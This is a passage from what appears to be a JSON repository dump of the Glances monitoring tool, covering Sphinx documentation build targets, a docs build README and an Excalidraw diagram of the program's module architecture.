$(BUILDDIR)/changes.\"\n\n.PHONY: linkcheck\nlinkcheck:\n\t$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck\n\t@echo\n\t@echo \"Link check complete; look for any errors in the above output \" \\\n\t      \"or in $(BUILDDIR)/linkcheck/output.txt.\"\n\n.PHONY: doctest\ndoctest:\n\t$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest\n\t@echo \"Testing of doctests in the sources finished, look at the \" \\\n\t      \"results in $(BUILDDIR)/doctest/output.txt.\"\n\n.PHONY: coverage\ncoverage:\n\t$(SPHINXBUILD) -b coverage $(ALLSPHINXOPTS) $(BUILDDIR)/coverage\n\t@echo \"Testing of coverage in the sources finished, look at the \" \\\n\t      \"results in $(BUILDDIR)/coverage/python.txt.\"\n\n.PHONY: xml\nxml:\n\t$(SPHINXBUILD) -b xml $(ALLSPHINXOPTS) $(BUILDDIR)/xml\n\t@echo\n\t@echo \"Build finished. The XML files are in $(BUILDDIR)/xml.\"\n\n.PHONY: pseudoxml\npseudoxml:\n\t$(SPHINXBUILD) -b pseudoxml $(ALLSPHINXOPTS) $(BUILDDIR)/pseudoxml\n\t@echo\n\t@echo \"Build finished. The pseudo-XML files are in $(BUILDDIR)/pseudoxml.\"\n"
  },
  {
    "path": "docs/README.txt",
    "content": "Building the docs\n=================\n\nFirst install Sphinx and the RTD theme:\n\n    make venv\n\nor update it if already installed:\n\n    make venv-upgrade\n\nGo to the docs folder:\n\n    cd docs\n\nThen build the HTML documentation:\n\n    make html\n\nand the man page:\n\n    LC_ALL=C make man\n"
  },
  {
    "path": "docs/_static/glances-architecture.excalidraw",
    "content": "{\n  \"type\": \"excalidraw\",\n  \"version\": 2,\n  \"source\": \"https://excalidraw.com\",\n  \"elements\": [\n    {\n      \"type\": \"rectangle\",\n      \"version\": 252,\n      \"versionNonce\": 1518270375,\n      \"isDeleted\": false,\n      \"id\": \"z3aBIxHcDX9glf-RUyasf\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 421,\n      \"y\": 161,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 181,\n      \"height\": 121,\n      \"seed\": 79658283,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"du6r0JkGG0RB4vV62RPED\"\n        },\n        {\n          \"id\": \"rukQ6f7gbwCK6dMF4PqSY\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1675588528733,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 190,\n      \"versionNonce\": 1462725319,\n      \"isDeleted\": false,\n      \"id\": \"du6r0JkGG0RB4vV62RPED\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 445.5,\n      \"y\": 208.5,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 132,\n      \"height\": 24,\n      \"seed\": 257619179,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": [],\n      \"updated\": 1675588528733,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"__main__.py\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"z3aBIxHcDX9glf-RUyasf\",\n      \"originalText\": \"__main__.py\"\n    },\n    {\n      \"type\": \"rectangle\",\n      \"version\": 298,\n      \"versionNonce\": 99010857,\n      \"isDeleted\": false,\n      \"id\": \"dIN0jifjByOhE61mIip2q\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 641.5,\n      \"y\": 163.5,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 181,\n      \"height\": 121,\n      \"seed\": 271966315,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"X93uxb5Vg-Lx2teoRVW5N\"\n        },\n        {\n          \"id\": \"I97BFsH6FvYyq9_UjRwU6\",\n          \"type\": \"arrow\"\n        },\n        {\n          \"id\": \"rukQ6f7gbwCK6dMF4PqSY\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1675588528733,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 237,\n      \"versionNonce\": 15377671,\n      \"isDeleted\": false,\n      \"id\": \"X93uxb5Vg-Lx2teoRVW5N\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 671.5,\n      \"y\": 211,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 121,\n      \"height\": 24,\n      \"seed\": 518451141,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": [],\n      \"updated\": 1675588528734,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"__init__.py\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"dIN0jifjByOhE61mIip2q\",\n      \"originalText\": \"__init__.py\"\n    },\n    {\n      \"type\": \"diamond\",\n      \"version\": 609,\n      \"versionNonce\": 1413698281,\n      \"isDeleted\": false,\n      \"id\": \"VbHVhy7vaW6prJo4QFEX5\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 639,\n      \"y\": 371,\n      \"strokeColor\": \"#0b7285\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 189,\n      \"height\": 179,\n      \"seed\": 957302987,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"TVdYovxpvasH4tY7IEceE\"\n        },\n        {\n          \"id\": \"I97BFsH6FvYyq9_UjRwU6\",\n          \"type\": \"arrow\"\n        },\n        {\n          \"id\": \"ZCD_-KAOjwV2nBx0hUglp\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1675588528734,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 549,\n      \"versionNonce\": 1007357385,\n      \"isDeleted\": false,\n      \"id\": \"TVdYovxpvasH4tY7IEceE\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 712.5,\n      \"y\": 454.25,\n      \"strokeColor\": \"#0b7285\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 42,\n      \"height\": 24,\n      \"seed\": 377713765,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": [],\n      \"updated\": 1675588528734,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"core\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"VbHVhy7vaW6prJo4QFEX5\",\n      \"originalText\": \"core\"\n    },\n    {\n      \"id\": \"I97BFsH6FvYyq9_UjRwU6\",\n      \"type\": \"arrow\",\n      \"x\": 732,\n      \"y\": 286,\n      \"width\": 0,\n      \"height\": 86,\n      \"angle\": 0,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1744777639,\n      \"version\": 407,\n      \"versionNonce\": 1524707975,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1675588528805,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          0,\n          86\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"dIN0jifjByOhE61mIip2q\",\n        \"focus\": 0,\n        \"gap\": 1.5\n      },\n      \"endBinding\": {\n        \"elementId\": \"VbHVhy7vaW6prJo4QFEX5\",\n        \"focus\": -0.015873015873015872,\n        \"gap\": 1\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\"\n    },\n    {\n      \"id\": \"rEhm0ZMsmg2lbgHYNuUTa\",\n      \"type\": \"text\",\n      \"x\": 742.5,\n      \"y\": 307,\n      \"width\": 41,\n      \"height\": 26,\n      \"angle\": 0,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"seed\": 2115715529,\n      \"version\": 149,\n      \"versionNonce\": 215510185,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1675588528734,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"main\",\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"top\",\n      \"baseline\": 18,\n      \"containerId\": null,\n      \"originalText\": \"main\"\n    },\n    {\n      \"id\": \"rukQ6f7gbwCK6dMF4PqSY\",\n      \"type\": \"arrow\",\n      \"x\": 602,\n      \"y\": 221,\n      \"width\": 37,\n      \"height\": 0,\n      \"angle\": 0,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 669272615,\n      \"version\": 400,\n      \"versionNonce\": 1229408679,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1675588528805,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          37,\n          0\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"z3aBIxHcDX9glf-RUyasf\",\n        \"focus\": -0.008264462809917356,\n        \"gap\": 1\n      },\n      \"endBinding\": {\n        \"elementId\": \"dIN0jifjByOhE61mIip2q\",\n        \"focus\": 0.04958677685950414,\n        \"gap\": 2.5\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\"\n    },\n    {\n      \"type\": \"rectangle\",\n      \"version\": 396,\n      \"versionNonce\": 1582755721,\n      \"isDeleted\": false,\n      \"id\": \"T-vzSegxNCFDy63YeUtoQ\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 884.5,\n      \"y\": 160.5,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 181,\n      \"height\": 121,\n      \"seed\": 1133526185,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"oD5JS6GZ5RLxtniTQ2qPO\"\n        }\n      ],\n      \"updated\": 1675588528734,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 341,\n      \"versionNonce\": 175663495,\n      \"isDeleted\": false,\n      \"id\": \"oD5JS6GZ5RLxtniTQ2qPO\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 942.5,\n      \"y\": 208.75,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 65,\n      \"height\": 24,\n      \"seed\": 706608743,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675588528734,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"main.py\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"T-vzSegxNCFDy63YeUtoQ\",\n      \"originalText\": \"main.py\"\n    },\n    {\n      \"type\": \"diamond\",\n      \"version\": 683,\n      \"versionNonce\": 1187124841,\n      \"isDeleted\": false,\n      \"id\": \"TPoX-fVCSz4gF9Bb7oJD4\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 880.5,\n      \"y\": 370.5,\n      \"strokeColor\": \"#0b7285\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 189,\n      \"height\": 179,\n      \"seed\": 451990279,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"hdUnLjhzTcHH_2Xr-4f4v\"\n        }\n      ],\n      \"updated\": 1675588528734,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 641,\n      \"versionNonce\": 249536679,\n      \"isDeleted\": false,\n      \"id\": \"hdUnLjhzTcHH_2Xr-4f4v\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 908,\n      \"y\": 447.75,\n      \"strokeColor\": \"#0b7285\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 134,\n      \"height\": 24,\n      \"seed\": 1736377577,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675588528734,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"GlancesMain()\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"TPoX-fVCSz4gF9Bb7oJD4\",\n      \"originalText\": \"GlancesMain()\"\n    },\n    {\n      \"id\": \"qmRB-3Yh035xXWyGPzRAh\",\n      \"type\": \"line\",\n      \"x\": 975,\n      \"y\": 374,\n      \"width\": 0,\n      \"height\": 93,\n      \"angle\": 0,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1174340489,\n      \"version\": 150,\n      \"versionNonce\": 149250377,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1675588528734,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          0,\n          -93\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": null,\n      \"endBinding\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": null\n    },\n    {\n      \"id\": \"yjKLIF0byoBCFlu3snqvC\",\n      \"type\": \"line\",\n      \"x\": 820,\n      \"y\": 458,\n      \"width\": 65,\n      \"height\": 1,\n      \"angle\": 0,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 117968553,\n      \"version\": 148,\n      \"versionNonce\": 1804792775,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1675588528734,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          65,\n          -1\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": null,\n      \"endBinding\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": null\n    },\n    {\n      \"id\": \"iPpO1aE_0LRKjBVQ0N19d\",\n      \"type\": \"text\",\n      \"x\": 847.5,\n      \"y\": 427,\n      \"width\": 13,\n      \"height\": 26,\n      \"angle\": 0,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"seed\": 1595409129,\n      \"version\": 142,\n      \"versionNonce\": 35409961,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1675588528734,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"=\",\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"top\",\n      \"baseline\": 18,\n      \"containerId\": null,\n      \"originalText\": \"=\"\n    },\n    {\n      \"type\": \"diamond\",\n      \"version\": 881,\n      \"versionNonce\": 524454599,\n      \"isDeleted\": false,\n      \"id\": \"V_Q9JjPuvqh6fBfAh7P3g\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 637.5,\n      \"y\": 692.5,\n      \"strokeColor\": \"#0b7285\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 189,\n      \"height\": 179,\n      \"seed\": 2061438665,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"SA83r_0ZTZaJPzSOsa6ai\"\n        },\n        {\n          \"id\": \"nJ0-zL6oGLjw0f7sLt3t1\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1675590397112,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 823,\n      \"versionNonce\": 1616091623,\n      \"isDeleted\": false,\n      \"id\": \"SA83r_0ZTZaJPzSOsa6ai\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 708.5,\n      \"y\": 769.75,\n      \"strokeColor\": \"#0b7285\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 47,\n      \"height\": 24,\n      \"seed\": 1903484487,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590397121,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"mode\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"V_Q9JjPuvqh6fBfAh7P3g\",\n      \"originalText\": \"mode\"\n    },\n    {\n      \"id\": \"nJ0-zL6oGLjw0f7sLt3t1\",\n      \"type\": \"arrow\",\n      \"x\": 731,\n      \"y\": 543,\n      \"width\": 2.1231441617119344,\n      \"height\": 148.32611751283002,\n      \"angle\": 0,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 923576615,\n      \"version\": 504,\n      \"versionNonce\": 1410705705,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1675590397121,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          2.1231441617119344,\n          148.32611751283002\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": null,\n      \"endBinding\": {\n        \"elementId\": \"V_Q9JjPuvqh6fBfAh7P3g\",\n        \"focus\": 0.02561960456697391,\n        \"gap\": 1.6246183338150217\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\"\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 198,\n      \"versionNonce\": 1623364903,\n      \"isDeleted\": false,\n      \"id\": \"ri2fonVaxx3URCz9V1PjJ\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 747,\n      \"y\": 553,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 56,\n      \"height\": 26,\n      \"seed\": 1733680745,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675588528734,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"start\",\n      \"baseline\": 18,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"start\"\n    },\n    {\n      \"type\": \"rectangle\",\n      \"version\": 719,\n      \"versionNonce\": 867736585,\n      \"isDeleted\": false,\n      \"id\": \"So2q8hpc6F5KvtPQFTop8\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 234.5,\n      \"y\": 683.5,\n      \"strokeColor\": \"#c92a2a\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 251,\n      \"height\": 34,\n      \"seed\": 1945517991,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"sGrQmvRDJHuYF_9i6rXob\"\n        }\n      ],\n      \"updated\": 1675590397121,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 675,\n      \"versionNonce\": 1991623943,\n      \"isDeleted\": false,\n      \"id\": \"sGrQmvRDJHuYF_9i6rXob\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 294,\n      \"y\": 688.5,\n      \"strokeColor\": \"#c92a2a\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 132,\n      \"height\": 24,\n      \"seed\": 491532873,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590397121,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"standalone.py\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"So2q8hpc6F5KvtPQFTop8\",\n      \"originalText\": \"standalone.py\"\n    },\n    {\n      \"type\": \"rectangle\",\n      \"version\": 753,\n      \"versionNonce\": 1278882537,\n      \"isDeleted\": false,\n      \"id\": \"1wtZQP7JhcQ4lwrIYtmqt\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 234.5,\n      \"y\": 722,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 251,\n      \"height\": 34.5,\n      \"seed\": 120949223,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"AZjkn1SJRrYlmgfL9zSOs\"\n        }\n      ],\n      \"updated\": 1675590397122,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 714,\n      \"versionNonce\": 1373998119,\n      \"isDeleted\": false,\n      \"id\": \"AZjkn1SJRrYlmgfL9zSOs\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 300.5,\n      \"y\": 727,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 119,\n      \"height\": 24,\n      \"seed\": 1479388169,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590397122,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"webserver.py\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"1wtZQP7JhcQ4lwrIYtmqt\",\n      \"originalText\": \"webserver.py\"\n    },\n    {\n      \"type\": \"rectangle\",\n      \"version\": 797,\n      \"versionNonce\": 1378217417,\n      \"isDeleted\": false,\n      \"id\": \"48sa_pFKMBlEU75p47EfA\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 234.5,\n      \"y\": 763,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 251,\n      \"height\": 34,\n      \"seed\": 1398331655,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"0Z2AD5xnd4bUAS3ryDS-y\"\n        }\n      ],\n      \"updated\": 1675590397122,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 759,\n      \"versionNonce\": 1037004615,\n      \"isDeleted\": false,\n      \"id\": \"0Z2AD5xnd4bUAS3ryDS-y\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 317,\n      \"y\": 768,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 86,\n      \"height\": 24,\n      \"seed\": 1308778217,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590397122,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"server.py\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"48sa_pFKMBlEU75p47EfA\",\n      \"originalText\": \"server.py\"\n    },\n    {\n      \"type\": \"rectangle\",\n      \"version\": 836,\n      \"versionNonce\": 1553419433,\n      \"isDeleted\": false,\n      \"id\": \"JwMl3Y2Txi0Xx4W1iwNcq\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 236.5,\n      \"y\": 804,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 251,\n      \"height\": 34.5,\n      \"seed\": 1769513959,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"5waxi9faL1bP3hACWhylM\"\n        }\n      ],\n      \"updated\": 1675590397122,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 794,\n      \"versionNonce\": 1422913127,\n      \"isDeleted\": false,\n      \"id\": \"5waxi9faL1bP3hACWhylM\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 323.5,\n      \"y\": 809,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 77,\n      \"height\": 24,\n      \"seed\": 46215689,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590397123,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"client.py\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"JwMl3Y2Txi0Xx4W1iwNcq\",\n      